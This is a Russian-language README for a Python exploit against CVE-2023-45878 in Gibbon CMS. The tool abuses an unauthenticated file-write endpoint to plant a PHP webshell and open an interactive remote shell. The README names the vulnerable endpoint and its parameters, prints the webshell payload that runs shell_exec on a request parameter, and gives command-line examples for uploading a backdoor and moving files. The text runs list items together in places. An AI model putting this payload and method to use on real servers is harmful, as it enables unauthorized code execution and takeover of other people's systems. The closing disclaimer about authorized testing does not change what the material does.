
Эксплойт на Python для CVE-2023-45878 — неаутентифицированная произвольная загрузка файлов в Gibbon CMS, позволяющая выполнить удалённый код (RCE) через загрузку веб-шелла и получить интерактивный доступ к оболочке.
Этот Python-скрипт эксплуатирует уязвимость CVE-2023-45878 — неавторизованную произвольную загрузку файлов в Gibbon CMS версиях 25.0.1 и ранее, что приводит к удаленному выполнению кода (Remote Code Execution, RCE).
CVE-2023-45878 существует в конечной точке rubrics_visualise_saveAjax.php Gibbon CMS. Эта конечная точка уязвима из-за отсутствия аутентификации и возможности произвольной записи файлов.
Уязвимость возникает из-за следующего:
modules/Rubrics/rubrics_visualise_saveAjax.php доступна без какой-либо аутентификации.img, path и gibbonPersonID.
img должен содержать специально отформатированные данные, где часть после запятой является строкой в кодировке base64.path, если указан, используется как имя файла назначения для загружаемого файла, относительно директории установки Gibbon.img и записывает его в файл, указанный параметром path.img, содержащий PHP-код в base64 (например, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>), и указывая path, в результате которого получается .php файл, доступный через веб-сервер, злоумышленник может загрузить PHP-вебшелл и добиться удаленного выполнения кода на уязвимом сервере.Этот Python-скрипт автоматизирует эксплуатацию CVE-2023-45878. Он выполняет следующие действия:
modules/Rubrics/rubrics_visualise_saveAjax.php для загрузки PHP-вебшелла. Полезная нагрузка вебшелла: <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, где {VERIFY_TAG} — настраиваемый тег. Полезная нагрузка кодируется в base64 и отправляется в параметре img.cmd=echo) и проверив наличие VERIFY_TAG в ответе. Он также выполняет предварительную проверку существующего шелла, если используются опции --verify или --interactive.user@host:cwd$).cd для смены удаленной рабочей директории.!help: Отображает справку по интерактивным командам.!upload <local_path> [remote_path]: Загружает локальный файл на целевой сервер через вебшелл.!download <remote_path> [local_path]: Скачивает файл с целевого сервера.!lcd <path>: Изменяет локальную текущую рабочую директорию.!ldir [path]: Выводит список файлов и директорий в локальной текущей рабочей директории или указанном пути.prompt_toolkit, если она доступна, для улучшенного взаимодействия с командной строкой (история, улучшенное редактирование), в противном случае использует встроенную функцию Python input().!upload повторно использует уязвимую конечную точку для записи произвольных файлов, в то время как !download использует системные команды, выполняемые через вебшелл (например, base64 или PowerShell [Convert]::ToBase64String), для получения содержимого файла.python3 exploit.py <target_url> [options]
Аргументы:
target_url: Базовый URL целевого экземпляра Gibbon CMS. Скрипт добавит http://, если схема не указана, и обеспечит завершающий слеш (например, http://example.com/gibbon или example.com/gibbon).Опции:
-s <shell_path>, --shell-path <shell_path>:
Укажите желаемый путь и имя файла для загруженного шелла (например, shell.php, uploads/shell.php).
Если не указано, будет сгенерировано случайное имя файла из 8 символов с расширением .php в базовой директории Gibbon.
Предупреждение: Убедитесь, что указанный путь доступен для записи веб-сервером и доступен через веб.-v, --verify:
После попытки загрузить шелл, проверьте, работает ли он. Эта опция также запускает предварительную проверку, чтобы узнать, существует ли уже шелл с указанным именем и тегом; если да, загрузка пропускается.-i, --interactive:
Войти в интерактивный режим шелла. Если шелл еще не присутствует (подтверждено предварительной проверкой), он будет сначала загружен и проверен.-t <tag>, --tag <tag>:
Укажите пользовательский статический тег, используемый в полезной нагрузке вебшелла для проверки. (По умолчанию: ExploitGibbon).--timeout <timeout>:
Установите тайм-аут HTTP-запроса в секундах. (По умолчанию: 20).Примеры:
Базовая эксплуатация со случайным именем шелла в основной директории Gibbon и тегом по умолчанию:
python3 exploit.py http://target.com/gibbon/
Эксплуатация, указать имя файла шелла my_shell.php в основной директории Gibbon и тег по умолчанию:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Эксплуатация, загрузить файл шелла backdoor.php в uploads/, проверить его и использовать пользовательский тег:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
Эксплуатация, загрузить шелл и войти в интерактивный режим с тегом по умолчанию и тайм-аутом 30 секунд:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
Войти в интерактивный режим с существующим шеллом (скрипт выполнит предварительную проверку его существования):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Только проверить, активен ли шелл с именем existing_shell.php и тегом по умолчанию (попытается загрузить, если не найден):
python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
dataclasses, pathlib)requests: Установка: pip install requestsrich: Установка: pip install richprompt_toolkit (необязательно, для улучшенного интерактивного режима): Установка: pip install prompt_toolkitЭтот скрипт предоставлен только для образовательных целей и целей тестирования безопасности. Используйте его на свой страх и риск и только в отношении систем, на тестирование которых у вас есть явное разрешение. Автор не несет ответственности за любое неправильное использование или ущерб, причиненный этим скриптом. Эксплуатация уязвимостей без авторизации незаконна и неэтична.